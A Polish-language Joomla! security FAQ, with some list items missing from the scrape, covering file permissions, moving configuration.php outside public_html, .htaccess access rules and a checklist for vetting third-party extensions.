--=REKLAMA=--
Bardzo trudna jeżeli nie niemożliwa, jest argumentacja przeciw propozycji oprogramowania na licencji GNU i Open Source, chociaż [http://www.catb.org/~esr/halloween/ niektórzy próbują. Przy braku opłat licencyjnych, niewielkiej administracji zarządzania projektem, wysokiej jakości kodem, częstych wydaniach bezpieczeństwa, które są rozpowszechniane w minuty lub godziny, a nie w miesiące czy w cyklach marketingowych, bezpłatnym wsparciu online od tysięcy wysokiej klasy dewelopeerów i użytkowników, oferta GNU i Open Source jest często najlepszym rozwiązaniem. Tego nie można kwestionować.
Aplikacje | Industry Leader | Koszt |
---|---|---|
GNU/Linux | Tak | 0 |
Apache serwery sieciowe | Tak | 0 |
MySQL bazy danych | Tak | 0 |
PHP język skryptowy | Tak | 0 |
Joomla! System Zarządzania Treścią | Tak | 0 |
Tysiące rozszerzeń | Varies | 0 |
Wsparcie | Względna jakość | Koszt |
Joomla! Project Leadership Team | Wysoka | 0 |
Dynamika dystrybucji | Wysoka | 0 |
Joomla! Online Fora | Wysoka | 0 |
Joomla! Dokumentacja | Średnia | 0 |
Tysiące ochotników | Wysoka | 0 |
Płatne profesjonalne wsparcie | Szeroko dostępna | 0 |
Razem | 0 |
Listy kontrolne bezpiecznego administrowania Joomla! są zwięzłym wyborem najlepszych wskazówek, czasem dowcipnych, zebranych od wielu współpracowników na forach internetowych. Przejrzyj je przed pierwszą instalacją Joomla!
Bardzo dobre pytanie - szkoda, że nie zawsze zadane w porę! Mamy zaszczyt zaprezentować 10 najgłupszych sztuczek administratora Joomla!.
Poniższa lista wyszczególnia kryteria wyboru dostawcy usługi hostingowej podyktowane względami bezpieczeństwa. Poza względami bezpieczeństwa Twoje wymagania mogą obejmować dostęp do powłoki, programu cron, bezpiecznego łącza (SSL) itp.
Są trzy tradycyjne metody kopiowania: - pełne, kumulatywne i różnicowe.
Pełna kopia
Kopiowanie kumulatywne
Kopiowanie stopniowe
Najlepsze praktyki zabezpieczenia danych mówią;
Przegląd
Większość użytkowników nie będzie potrzebować więcej niż trzech poziomów haseł, projektanci stron nie więcej niż pięciu. Żaden poziom nie może wiązać się w żadnym stopniu z innymi, w sensie nazw użytkowników i haseł.
Wskazania
Zobacz także
Zastosuj bezpłatne rozszerzenie Joomla! Tools Suite (JTS), które jest środowiskowym audytem Joomla!, aplikacją utrzymania i diagnostyki systemu napisaną w PHP. Zestaw narzędzi JTS może diagnozować, raportować i doradzać w zwykłych instalacjach, co do spraw działania i bezpieczeństwa, włącznie z przeprowadzeniem kilku prostych działań naprawczych i związanych z wydajnością.
Przegląd
W każdej nowej instalacji Joomla! tworzone jest jedno konto głównego administratora z nazwą użytkownika admin. Instalator Joomla! prosi jedynie o podanie hasła. Takie rozwiązanie upraszcza przebieg instalacji, ale nie jest zbyt bezpieczne. Ułatwia ewentualnym napastnikom zadanie - pozostaje do odgadnięcia tylko 50% danych najważniejszego konta.
Natychmiastowa zmiana nazwy podnosi znacznie poziom bezpieczeństwa. Jeśli jakiś włamywacz zechce uzyskać dostęp do zaplecza, będzie musiał podać zarówno prawidłową nazwę, jak i prawidłowe hasło.
Kierunki
Kiedy edytujesz jakąś pozycję z zaplecza, uruchamiany jest czynny skrypt który utrzymuje aktywność sesji. W wielu wypadkch to duża wygoda zapobiegająca utracie wpisanych czasie w edycji danych, jeżeli zbyt długo zwlekasz z ich zapisaniem do zawartości. Jednakże pojawia się tu kilka spraw związanych z bezpieczeństwem których powinieneś być świadomy:
Przegląd
Joomla! 1.5
Joomla 1.0.15
Joomla! 1.0.13
Joomla! 1.0.12 i wcześniejsze
define('RG_EMULATION',1)
define('RG_EMULATION',0)
Error 1 = FATAL ERROR: MySQL not supported...
Nieskompilowany w PHP moduł wsparcia dla MySQL albo serwer MySQL nie działa.
Error 2 = FATAL ERROR: Connection to database ...
Joomla! nie może połączyć się z bazą danych, najprawdopodobniej zrobiłeś mały błąd (literówkę) przy wpisywaniu do pliku configuration.php nazwy użytkownika lub hasła, lub też próbujesz uzyskac dostęp do bazy danych z niewłaściwym prefiksem jej tabel.
Error 3 = FATAL ERROR: Database not found...
Nie można odnaleźć bazy danych, sprawdź jej ustawienia w configuration.php
Aby zlikwidować ten problem należy zmodyfikować zmienne MySQL w pliku configuration.php (znajdującym się w katalogu głównym Joomla!).
Dla Joomla! 1.0.xx
$mosConfig_host = 'localhost'; $mosConfig_user = 'accountname__username'; $mosConfig_password = 'userpassword'; $mosConfig_db = 'accountname_dbName'; $mosConfig_dbprefix = 'jos_';
Modyfikacja $mosConfig_host na adres IP zdalnego hosta działa w środowisku gdzie serwer MySQL jest oddzielony od serwera klienta.
Prawa dostępu do plików w systemach Unix/Linux mogą wydawać się zagmatwane. Są trzy podstawowe rodzaje praw w systemie UNIX;
Prawa właściciela (Owner) : regulują Twój dostęp do plików. Prawa grupy (Group) : regulują Twój dostęp i dostęp członków Twojej grupy. Inne prawa (Other) : regulują dostęp dla wszystkich innych.
W systemie UNIX, kiedy prawa zostaną skonfigurowane, serwer zezwala ci na definiowanie różnych praw dla każdej z tych trzech kategorii użytkowników. W środowisku serwera sieciowego prawa te określają, którzy właściciele witryn mają dostęp do jakich katalogów i plików?
Jak wygląda zapis praw dostępu w UNIX?
Kiedy przeglądasz swoje pliki przez klienta FTP lub z wiersza poleceń serwera, zobaczysz coś takiego:
filename.php username usergroup rwx r-x r-x
Pierwszy człon to nazwa pliku, następny to Twoja nazwa użytkownika na serwerze, kolejny to nazwa grupy, której jesteś członkiem, i ostatni to prawa przyporządkowane do danego pliku (lub katalogu). Zwróć uwagę, że celowo rozdzieliłem spacjami ostatni człon. Zgrupowałem 9 znaków w trzy grupy po 3 znaki. To rozdzielenie jest kluczem do zrozumienia, jak działają prawa dostępu. Pierwszy zestaw 3 znaków (rwx) odnosi się do użytkownika, drugi zestaw (r-x) do grupy, a trzeci (r-x) do kogokolwiek, kto nie jest użytkownikiem ani członkiem grupy.
Nazwa użytkownika (username) odnosi się do właściciela (użytkownika)
Właściciel (użytkownik) to Ty, te prawa dostępu zostaną skonfigurowane pod nazwą Twojego konta na serwerze.
Nazwa grupy (usergroup) odnosi się do grupy
Prawa dostępu dla grupy zostaną skonfigurowane dla osób, które są w tej samej grupie co Ty, w ramach środowiska serwera, ale bardzo rzadko rozszerza się grupę o inne osoby. Taka praktyka chroni Twoje pliki i katalogi przed dostępem kogokolwiek, kto posiada konto na tym samym serwerze, co Ty.
Nazwa "Inni" (Other) odnosi się do każdego innego
Prawa dostępu dla innych, są skonfigurowane dla tych, którzy nie są użytkownikiem (Tobą), ani członkami Twojej grupy. Pamiętając o tym, że z reguły nikt inny nie jest członkiem Twojej grupy, prawa te regulują dostęp dla tego, kto próbuje uzyskać dostęp do serwera oprócz Ciebie. Każdy z tych trzech zestawów praw jest definiowany w następujący sposób.
r = prawo do czytania (Read) w = prawo do zapisu (Write) x = prawo do uruchamiania (eXecute)
Właściciel Grupa Inni r w x r w x r w x
Jak wielu z Was już wie, prawa są normalnie wyrażane przez wartość numeryczną, coś jak 755 czy 644. Jaki związek ma to z tym, co przedstawiliśmy wyżej? Każdy znak prawa jest przyporządkowany do wartości numerycznej, takie samo przyporządkowanie jest w każdym zestawie, tak więc możemy używać tylko trzech wartości numerycznych w każdym zestawie.
Właściciel Grupa Inni r w x r w x r w x 4 2 1 4 2 1 4 2 1
Teraz mamy wartość która odzwierciedla dane prawo, możemy je wyrazić w sposób numeryczny. Wartości te w każdym zestawie są dodawane, co daje nam trzy cyfry - po jednej dla każdego zestawu - które określają dane prawo. Jeżeli mówimy, że plik ma prawa 777 to to, co zapisano niżej, jest prawdziwe:
Właściciel Grupa Inni r w x r w x r w x 4 2 1 4 2 1 4 2 1
Bo...
4+2+1 4+2+1 4+2+1 = 7 7 7
Właściciel pliku miałby w tym przypadku prawo czytać (Read), zapisywać (Write) i uruchamiać (Execute) dany plik, każdy członek grupy miałby również takie same prawa, a także identyczne mieliby inni. Standardowe, domyślne prawa, jakie serwer przyporządkowuje do plików i katalogów są następujące:
Pliki = 644 Katalogi = 755
Te prawa zezwolą na działania na plikach;
644 = rw- r-- r-- Właściciel może czytać (Read) i zapisywać (Write) Grupa może tylko czytać (Read) Inni mogą tylko czytać (Read)
i dla katalogów;
755 = rwx r-x r-x Właściciel może czytać (Read), zapisywać (Write) i uruchamiać (Execute) Grupa może tylko czytać (Read) i uruchamiać (eXecute) Inni mogą tylko czytać (Read) i uruchamiać (eXecute)
Teraz sprawy się nieco komplikują, jeżeli mówimy o serwerach współdzielonych, oprogramowanie serwera będzie uruchamiane ze swoimi własnymi nazwami użytkownika i grupy, większość serwerów jest skonfigurowana w ten sposób, że używają nazw "apache" i "apache" lub "nobody" i "nobody" jako nazwy użytkownika i odpowiednio grupy. I tu powstaje problem. Twój serwer działa jako swój własny użytkownik, i ten użytkownik to nie Ty, ani nie Twoja grupa, tak więc dwa pierwsze zestawy praw do niego się nie stosują, a jedynie stosuje się zestaw inni (Other)(albo świat). Dlatego, jeśli skonfigurujesz zestaw praw 640 dla Twoich plików, Twój serwer nie będzie w stanie ich uruchomić.
640 = rw- r-- --- Właściciel może czytać (Read) i zapisywać (Write) Grupa może tylko czytać (Read) Inni (serwer) nie mają żadnych praw
Serwerowi nie przyporządkowano żadnych praw, nie może on zapisywać ani uruchamiać plików, a co ważniejsze nawet ich czytać, żeby móc dostarczyć ich zawartość przeglądarce internauty. Jeżeli katalogowi zostaną przyporządkowane prawa 750, da to taki sam efekt, ponieważ serwer nie ma prawa czytać plików w tym katalogu, nawet, jeśli te pliki mają ustawione prawa zezwalające na czytanie.
750 = rw- r-x --- Właściciel może czytać (Read) i zapisywać (Write) Grupa może tylko czytać (Read) i uruchamiać (eXecute) Inni (serwer) nie mają żadnych praw
Katalogi mają pewną ciekawą cechę, jeżeli katalog nie ma ustawionego prawa do Uruchamiania (eXecute) w zestawie Inni (Other) - wtedy, gdy nawet są ustawione prawa czytania (Read) i zapisu (Write) - to jeżeli program nie jest użytkownikiem ani członkiem grupy, nie otrzyma prawa dostępu do plików znajdujących się w tym katalogu. Ustawienie uruchom (eXecute) pozwala programowi "uruchamiać" nie tylko pliki, ale także polecenia w danym katalogu, więc bez tego prawa program nie może uruchomić polecenia czytaj (Read), co powoduje, że nie może dostarczyć pliku do przeglądarki.
Co to ma wspólnego z Joomla!?
Dobre pytanie, hmm..., w pierwszym podejściu będzie miało to znaczenie przy instalacji systemu. Przypomnij sobie, że w czasie uruchomienia instalatora szukaliśmy określonych katalogów, które miały być zapisywalne. Mieliśmy wiele postów, w których zgłaszano problemy związane z prawami dostępu przy instalacji, lub w których pytano, jak te prawa ustawić. Niektórzy uważali nawet, że komunikat pytający o prawo do "zapisywalności" jest niezbyt jasny.
Niestety, instalator Joomla! nie wie, jak skonfigurowany jest Twój serwer, dlatego nie może działać bardziej precyzyjnie, jednakże jeżeli zrozumiesz system ustawiania praw dostępu i będziesz wiedział trochę o środowisku serwerów sieciowych, zrozumiesz także, że termin "zapisywalny" jest w rzeczywistości bardzo dokładny i bardziej niż odpowiedni dla potrzeb Joomla!. Cofając się do wyżej podanych informacji, przypomnij sobie o trzech miejscach gdzie prawo zapisu (Write) może zostać ustawione;
Właściciel zapisywalny (Write) Grupa zapisywalny (Write) Inni zapisywalny (Write)
Pamiętaj także, że serwer sieciowy generalnie nie pracuje jako Twój użytkownik, ani w tej samej grupie. Kiedy uruchamiasz instalatora Joomla! z przeglądarki, to serwer próbuje uzyskać dostęp do plików, dlatego zestaw praw dla inni (Other) ma tu znaczenie. Jeżeli zestaw praw inni (Other) nie zezwoli serwerowi czytać (Read), zapisywać (Write) lub uruchamiać (Execute) poleceń w katalogach Joomla!, otrzymasz komunikat, że te katalogi są niezapisywalne.
W tej sytuacji będziesz musiał skonfigurować prawa dla inni (Other) na "7" dla katalogów wylistowanych w instalatorze. Tak więc ogólnie prawa mogą być ustawione np. na 757, w najgorszym przypadku możesz potrzebować ustawienia 777. Te bardzo otwarte ustawienie powinno być ustawione na powrót (cofnięte) na 755 zaraz po zakończeniu pracy instalatora, aby chronić Twoje katalogi i pliki.
757 = rwx r-x rwx Właściciel może czytać (Read), zapisywać (Write) i uruchamiać (eXecute) Grupa może czytać (Read) i uruchamiać (eXecute) Inni mogą czytać (Read), zapisywać (Write) i uruchamiać (eXecute)
Żeby to jeszcze bardziej skomplikować wielu dostawców usług internetowych używa oprogramowania nazywanego phpsuExec albo suExec, te narzędzia zmieniają sposób działania serwera, który w tym przypadku pracuje pod Twoją nazwą użytkownika. Użycie praw dla inni (Other) może nie być wymagane, teraz wystarczy, że skonfigurujesz swoje katalogi jako "zapisywalne" tylko dla Twojego użytkownika i Twojej grupy. W tym przypadku wystarczy ustawić prawa dla katalogów na 755 lub 775, zamiast na 757 czy 777.
755 = rwx r-x r-x Właściciel może czytać (Read), zapisywać (Write) i uruchamiać (eXecute) Grupa może czytać (Read) i uruchamiać (eXecute) Inni mogą czytać (Read) i uruchamiać (eXecute)
775 = rwx rwx r-x Właściciel może czytać (Read), zapisywać (Write) i uruchamiać (eXecute) Grupa może czytać (Read), zapisywać (Write) i uruchamiać (eXecute) Inni mogą czytać (Read) i uruchamiać (eXecute)
Serwer sieciowy wciąż potrzebuje ustawienia uruchamiaj (eXecute) dla użytkownika, oraz czytaj (Read), uruchamiaj (eXecute) dla grupy, dlatego może wydawać polecenia uruchamiania i czytania na plikach wewnątrz katalogu. I znowu, ten zestaw praw może być cofnięty do 755 po ukończeniu instalacji.
To podstawowe zasady, co do katalogów, a co z plikami? Tu jest nieco prościej. Większości plików, które używa Joomla! wystarczy ustawienie praw na domyślne 644.
644 = rw- r-- r-- Właściciel może czytać (Read) i zapisywać (Write) Grupa może czytać (Read) Inni mogą czytać (Read)
To działa, jeżeli nie masz potrzeby zapisywania do plików z poziomu serwera sieciowego, te same zasady dotyczą katalogów. Jednym plikiem, który może być "zapisywalny" dla serwera, jest twój configuration.php. To plik konfiguracyjny Joomla!, jeżeli planujesz zmianę konfiguracji przez interfejs administratora serwera, wtedy ten plik musi być zapisywalny dla Twojego serwera.
Jeżeli Twój serwer wymaga dla instalacji, aby ustawić prawa dla inni (Other) na zapisywalne (Write), wtedy prawa dla configuration.php powinny być ustawione na 757 lub 777. Pozostawienie ustawień dla tego pliku na 757 lub na 777 jest niebezpieczne, ponieważ pozwalasz każdemu na dostęp do zapisu (Write), wiele sieciowych exploitów wykorzystuje ten fakt, nie zaleca się pozostawienie tych ustawień dla configuration.php.
Jeżeli na Twoim serwerze zainstalowano jedno z narzędzi SU (switch user - przełącznik użytkowników), i dla katalogów wystarczy przy instalacji ustawienie 755, prawa dla configuration.php będziesz prawdopodobnie musiał ustawić na 755 lub 775, aby zezwolić jego edycję przez interfejs administratora, a te ustawienia są uważane za generalnie bardziej bezpieczne niż 757 lub 777.
W końcu jakie ustawienia powinny zostać zastosowane dla instalacji Joomla!? Jak widzisz, to zależy od kilku czynników!
Wiem, że to wszystko nie jest tak pomocne jak byś oczekiwał, i nie ma definitywnej odpowiedzi, ale generalnie po instalacji, każde niebezpieczne ustawienie typu "7" powinno być cofnięte na bardziej bezpieczne. Na przykład: Pliki = 644 Katalogi = 755
Te ustawienia powinny pozwolić, dla plików:
644 = rw- r-- r-- Właściciel może czytać (Read) i zapisywać (Write) Grupa może tylko czytać (Read) Inni mogą tylko czytać (Read)
i dla katalogów
755 = rwx r-x r-x Właściciel może czytać (Read), zapisywać (Write) i uruchamiać (eXecute) Grupa może tylko czytać (Read) i uruchamiać (eXecute) Inni mogą tylko Cczytać (Read) i uruchamiać (eXecute)
Jeżeli masz dostęp do powłoki SSH, możesz uruchomić następujące polecenia z wiersza poleceń, resetujące ustawienia praw dla wszystkich plików i katalogów na odpowiednio 644 i 755. Przejdź do głównego katalogu instalacji Joomla! i uruchom:
find . -type f -exec chmod 644 {} \; find . -type d -exec chmod 755 {} \;
Jeżeli masz tylko dostęp przez FTP, to praca ta może zabrać ci trochę czasu, jednakże, jeżeli podczas instalacji nie zmieniłeś praw dla większej ilości katalogów niż było wymagane, to teraz powinieneś cofnąć prawa dla około 10 katalogów i pliku configuration.php
Pamiętaj, aby zainstalować jakiekolwiek rozszerzenie lub szablon już po instalacji Joomla!, będziesz musiał zmienić domyślne prawa na określonych katalogach na czas tej instalacji, które potem możesz wycofać do poprzedniego stanu.
Jeżeli zdecydujesz się używać pamięci podręcznej - cache, katalog cache musi być ustawiony na zapisywalny (Write) przez serwer, aby pozwolić na zapisywanie plików tymczasowych.
Optymalne ustawienia praw dostępu do plików zależą od konfiguracji serwera. Zalecane ustawienia praw do katalogów na 755, a do plików na 644 powinny zapewnić bezpieczeństwo.
Ta porada przeznaczona jest dla administratorów niewielkich prywatnych serwerów internetowych, udostępniających witrynę opartą na Joomla.
Na prywatnym serwerze z niewielką ilością znanych sobie użytkowników nie ma potrzeby ustawiania praw do katalogów 777, aby instalacja Joomla! została przeprowadzona bez błędów. Możesz tak ustawić parametry serwera, aby zarówno warstwa FTP, jak i PHP mogły równorzędnie sterować prawami do plików i katalogów.
Wskazówki
Opcje
Krótka odpowiedź
Potencjalnie, tak. Twoja witryna jest bezpieczna, ale musisz być ostrożny i czujny.
Dłuższa odpowiedź
Podstawową zasadą zabezpieczenia zasobów serwera jest utworzenie różnych poziomów bezpieczeństwa, a następnie przydzielanie uprawnień na każdym poziomie tylko w koniecznym zakresie. Na serwerach UNIX realizuje się to poprzez przyznawanie praw do katalogów i plików użytkownikom, grupom, i innym (światu).
Z reguły najbardziej niebezpiecznym katalogiem na serwerach UNIX jest katalog służący do obsługi wymiany danych z siecią zewnętrzną, zwykle nazywany public_html. Katalog ten musi być dostępny publicznie, dopuszczając każdego do czytania jego zawartości, a w przypadku systemów zarządzania treścią CMS, powinien zezwalać nawet na zapisywanie do plików. Ten status czyni go z definicji ekstremalnie niebezpiecznym.
Dopóki nie przeszkadza ci, że cały świat może oglądać zawartość tego katalogu, problemu nie ma. Został stworzony dokładnie do tego celu. Kiedy jednak chcesz cokolwiek ukryć przed innymi, pojawia się problem. Jeżeli w tym katalogu umieścisz np.:
to ten katalog z prawami tylko do czytania, zmienia się na katalog z prawami także do zapisu.
Jeżeli są jakiekolwiek słabe punkty w jakimkolwiek pliku w katalogu public_html, cały serwer staje się potencjalnie zagrożony, a nie tylko Twoja strona. Słabe punkty pozwalają włamywaczom na dostęp do skryptów obsługujących Twoją stronę. PHP, Perl i inne języki skryptowe to narzędzia potężne i łatwe do użycia. Jeżeli błędy programowe pozwalają atakującemu na wywołanie różnych poleceń, cały serwer staje się otwartym celem.
Jedynym dobrym sposobem zablokowania atakujących jest lokowanie potencjalnie zagrożonych plików za bezpieczną barierą. Z tego powodu zaleca się umieszczanie w katalogu public_html tylko tych plików, które wymagają bezpośredniego dostępu z sieci. Inne pliki powinny być ładowane do aplikacji takimi poleceniami jak include (wstaw) i require (przywołaj). Aby dostać się do takich plików włamywacz musi najpierw spenetrować Twój serwer, np. przez odkrycie Twojej nazwy użytkownika i hasła.
Bezpieczeństwo przede wszystkim
Aby zapewnić łatwą instalację Joomla! stosuje się zróżnicowany dwupoziomowy model bezpieczeństwa. Na pierwszym poziomie możliwe jest proste przeprowadzenie instalacji z przeglądarki, z katalogu instalacyjnego dostępnego dla całej sieci. Drugi poziom to wymaganie usunięcia tego katalogu natychmiast po instalacji.
Przyznanie programowi instalującemu praw do zapisywania plików znajdujących się poza katalogiem public_html byłoby ogromną dziurą w bezpieczeństwie. Dlatego domyślnie pliki Joomla! w końcu lądują w dostępnym dla całej sieci public_html. Nieprzypadkowo, jest to katalog będący celem wszystkich włamywaczy sieciowych.
Obecnie większość rozszerzeń Joomla! ma ograniczone wsparcie (dostęp) do plików znajdujących się poza katalogiem public_html. To spuścizna (legacy) po instalacyjnym modelu Joomla 1.0.x .
Obrona Joomla!
W związku z potencjalnie niebezpiecznym umiejscowieniem, Joomla! stosuje różne efektywne metody do blokowania exploitów. Główną wśród nich jest dodanie linii kodu na początku każdego pliku PHP który wymaga specjalnego zabezpieczenia. Metoda ta jest bardzo efektywna jeżeli KAŻDY plik wymagający takiego zabezpieczenia będzie je posiadał. Jeden błąd, jeden niezabezpieczony plik, naraża na atak wszystkie zasoby strony!
Wyzwanie
Praktyka umieszczania wszystkich plików w katalogu public_html, a następnie budowanie bariery bezpieczeństwa przez dodawanie linii kodu w każdym pliku wydaje się administracyjnym koszmarem. Jeden pominięty plik naraża na atak cały serwer! To doskonały przykład modelu bezpieczeństwa typu:
najpierw zezwól (Allow), a potem zabroń (Deny)
Model ten wymaga ciągłych, dokładnych aktualizacji, stałego przeglądania logów, i aktywnego neutralizowania nowych dziur w bezpieczeństwie kiedy tylko zostaną ujawnione. Ponieważ musisz być o krok przed atakującymi, to zmusza do pośpiechu, co może niechcący doprowadzić do powstania nowego słabego punktu, a co za tym idzie, powstania nowego zagrożenia.
Podczas instalacji i aktualizacji musisz weryfikować każdą linię kodu każdego nowego pliku pod kątem każdego znanego zagrożenia. Skrypty mogą niezamierzenie wpływać wzajemnie na siebie, nie możesz więc zapomnieć o ich ciągłym testowaniu. To oczywiście generalna zasada dla każdego oprogramowania, ale lokowanie całej aplikacji w katalogu public_html czyni problem ekstremalnie krytycznym.
Ostatnia fala ataków polegających na "wstrzykiwaniu" adresów zasobów (URL injections), w źle napisane rozszerzenia autorstwa osób trzecich, byłaby mniej skuteczna, gdyby pliki te były umiejscowione poza katalogiem public_html, a co za tym idzie niedostępne z poziomu formatu adresowania zasobów, czyli z poziomu URL. W wielu przypadkach znane dziury bezpieczeństwa w plikach nadal istnieją, ale ponieważ te pliki znajdują się poza katalogiem public_html, nie są narażone na ataki typu URL injections.
Zatem najpierw Zabroń, a potem Zezwól - (Deny, then Allow), czy najpierw Zezwól, a potem Zabroń - (Allow, then Deny)?
Ten dobrze znany kwalifikator to model typu - najpierw zezwolenie (Allow), a potem zabronienie (Deny). Innymi słowy najpierw dajemy każdemu dostęp do plików, a potem zabraniamy dostępu do określonych plików przez dodanie linii kodu.
Rozważcie logikę skryptu autentykacji hasła. Zasadniczo mamy dwie opcje:
Oczywiście druga metoda jest lepsza. Prosta znajomość wyrażeń regularnych mówi, że pierwszą metodę jest dużo trudniej bezpiecznie zapisać. Nie zadziała ona za każdym razem, gdy powstają nowe metody ataków i będzie wymagać ciągłych weryfikacji. Z czasem takie weryfikacje staną się tak rozbudowane, że sam system zabezpieczenia może stać się źródłem zagrożenia.
Koncepcyjnie druga metoda jest przykładem budowania silnej bariery bezpieczeństwa obejmującego całą Twoją stronę (Deny), a potem przyznawania ograniczonego dostępu według dobrze zdefiniowanych kryteriów (then Allow). Jeżeli nawet nastąpi włamanie do skryptu, najprawdopodobniej użytkownik, który posiada legalny dostęp, zostanie zablokowany. To kłopot, ale nie przełamanie systemu bezpieczeństwa.
Dobre wiadomości
Otwórz do edycji plik /includes/defines.php. Poniżej znajduje się stosowny kod:
define( 'JPATH_ROOT' , implode( DS, $parts ) ); define( 'JPATH_SITE' , JPATH_ROOT ); define( 'JPATH_CONFIGURATION', JPATH_ROOT ); define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' ); define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' ); define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );
Trzeba to powiedzieć, wyzwaniem w Joomla! jest zabezpieczenie przed bezpośrednim dostępem z Internetu pewnych plików PHP w katalogu public_html zawierających kod wykonawczy lub dane poufne.
Są różne sposoby zabezpieczania takich plików, ale większość z nich nie jest optymalna. Wielu użytkowników i grup developerów, takich jak Gallery2 i Apache.org, zdecydowanie przestrzega przed trzymaniem wrażliwych plików wewnątrz katalogu public_html.
Przedstawione niżej metody wydają się najprostszym i najbardziej eleganckim sposobem zabezpieczenia plików tylko do odczytu, które z różnych powodów są przechowywane w public_html. W tym przykładzie zabezpieczymy configuration.php, być może najcenniejszy z punktu widzenia bezpieczeństwa plik Joomla!.
Stosujcie tę metodę, nawet jeśli serwer w jakiś sposób dostarczy pliki PHP włamywaczom - np. z powodu złej konfiguracji - dzięki niej nikt nie będzie w stanie zobaczyć realnej zawartości pliku konfiguracyjnego.
Procedura
1. Przenieś configuration.php do bezpiecznego katalogu poza public_html i zmień jego nazwę i rozszerzenie wedle swojego uznania. W przykładzie przyjęliśmy nazwę joomla.conf.
2.Utwórz nowy plik zawierający TYLKO następujący kod i zapisz go pod nazwą configuration.php (Patrz niżej "Ważne Uwagi").
<?php require( dirname( __FILE__ ) . '/../joomla.conf' );
3. Upewnij się, że nowy plik configuration.php jest niezapisywalny, tak aby nie mógł zostać nadpisany przy zmianach w panelu administracyjnym Joomla!.
4.Jeżeli będziesz potrzebował zmian w konfiguracji, rób to ręcznie przez wpisy do pliku joomla.conf.
Ważne Uwagi!
Warning: Cannot modify header information - headers already sent by (output started at /home/xxxxx/public_html/configuration.php:2) in /home/xxxxx/public_html/index.php on line 250
<Files .htaccess> order allow,deny deny from all </Files>
<FilesMatch "configuration.php"> Order allow,deny Deny from all </FilesMatch>
Korzystając z narzędzi zaplecza
Z menu zaplecza wybierz Witryna → Konfiguracja globalna → Serwer i ustaw prawa dostępu zgodnie z potrzebami.
Za pomocą poleceń powłoki UNIX
Uwaga: Polecenie find zakłada, że jego wykonanie przynosi skutki począwszy od aktualnego katalogu (tego, w którym jest wywoływane). Dla pełnego bezpieczeństwa przejdź do swojego katalogu public_html i określ w poleceniu ścieżkę, jako pierwszy argument. W przypadku powłoki bash w systemie Apple OS X ścieżka musi być podana.
find . -type f -exec chmod 644 {} \; find . -type d -exec chmod 755 {} \; chmod 707 images chmod 707 images/stories chown apache:apache cache
Uwagi:
Używaj Joomla! wersji 1.5.
Standardowa instalacja Joomla! 1.0.x nie wspiera połączeń szyfrowanych SSL dla indywidualnych katalogów, jednakże na forum (i poza forum) możesz znaleźć eleganckie i mniej eleganckie rozwiązania tego problemu.
Zwróć uwagę, że wcześniejsze techniki wykorzystujące zmienną $mosConfig_live_site zostały zaniechane i nie będą pracowały z obecną wersją Joomla! z powodu wzrastających wymagań bezpieczeństwa.
Więcej pomocy
Ograniczanie dostępu do strony przez filtrowanie podejrzanych adresów IP nie jest szczególnie efektywne w dłuższym okresie czasu, ponieważ wiele exploitów jest uruchamianych na zaatakowanych maszynach, albo przez serwery proxy, co maskuje rzeczywiste adresy atakującego. Włamywacze mogą atakować z wielu zainfekowanych komputerów, blokowanie ich prowadzi do blokowania legalnych użytkowników, właścicieli tych adresów IP, ale nie atakujących.
Rozszerzenia niepewne albo podatne na ataki to takie, które zawierają lub generują zagrożenia dla bezpieczeństwa systemu
Niepewne rozszerzenia nie zawsze są złym kodem. Ponieważ sieć rozwija się dynamicznie, techniczne wymagania i powszechnie akceptowane praktyki pisania kodów zmieniają się. W aktywnych projektach wydawana są nowe wersje rozszerzeń zgodnie z nowymi wymaganiami. Dlatego ważne jest:
Najważniejszą rzeczą jaką każdy może zrobić, to podjąć właściwą decyzję w sprawie wyboru rozszerzenia, które zostanie użyte na stronie. Jeżeli niepewne lub podejrzane rozszerzenie zostanie zainstalowane, zniszczenie strony staje się prawdopodobne. Nie istnieje ŻADEN sposób, by zabezpieczyć lub zablokować komponent przed dostępem do tabel bazy danych, do których nie powinien mieć dostępu. Nie istnieje sposób, aby zablokować komponent przed przesłaniem wszystkich wykradzionych informacji do strony włamywacza. Jeżeli niepewny czy podejrzany komponent został zainstalowany, cała Twoja strona jest zagrożona.
Pomimo tego, co wyżej powiedziano, istnieje kilka łatwych wskazówek co do wyboru rozszerzenia do instalacji.
Złe praktyki
Błędy
Chociaż kod Joomla! jest bezpieczny, jeżeli został prawidłowo skonfigurowany, rozszerzenia to świat różnej jakości i wieku. Jeżeli absolutnie nie ufasz developerowi, zawsze przejrzyj kod przed instalacją. Poniżej jest lista typowych obszarów takiego przeglądu
1. Jak złożone jest rozszerzenie?
2. Czy rozszerzenie czyta lub zapisuje pliki na Twoim serwerze?
3. Czy rozszerzenie współdziała z innymi programami Twojego systemu?
4. Czy rozszerzenie działa z przywilejem suid (set-user-id)?
5. Czy rozszerzenie waliduje wszystkie wejścia użytkownika, takie jak w polach formularza i w URL?
6. Czy rozszerzenie używa prostych ścieżek przy wywołaniu zewnętrznych programów?
7. Czy rozszerzenie jest wystarczająco zabezpieczone przed bezpośrednim dostępem przez URL?
8. Czy rozszerzenie jest odporne na zdalne wklejenie pliku?
9. Czy rozszerzenie jest odporne na SQL injections (wstrzykiwanie SQL)?
10. Czy rozszerzenie jest odporne na ataki Cross Site Scripting (XSS)?
11. Czy rozszerzenie potrzebuje włączenia register_globals, lub Joomla! RG Emulation?
12. Czy rozszerzenie zapewnia dostęp do bazy danych wysokiego poziomu dla użytkowników o niskich prawach?
Przegląd
Strona z rozszerzeniami Joomla działa jako bezpłatna usługa dla społeczności. Każdy może tam przesłać swój kod, i rozszerzenia bywają różnej jakości o w różnym czasie wydania.
Jeżeli rozszerzenie zostanie uznane za niebezpieczne, zostanie usunięte ze strony aż do czasu wydania bezpiecznej wersji, ale nie ma gwarancji, że zostaną rozpoznane i ogłoszone wszystkie zagrożenia w każdym rozszerzeniu.
Dla zapewnienia bezpieczeństwa TY musisz zweryfikować rozszerzenie, które instalujesz.
Poniżej jest tekst prawnego zastrzeżenia na stronie rozszerzeń Joomla! Ignorowanie go jest bardzo groźne.
Zastrzeżenie
To po prostu jest ostrzeżenie! Nikt ci oczywiście nie broni instalować dowolnego rozszerzenia na twojej stronie, ale pamiętaj, to TY jesteś odpowiedzialny za bezpieczeństwo swojej witryny i za jakość aplikacji, które instalujesz.
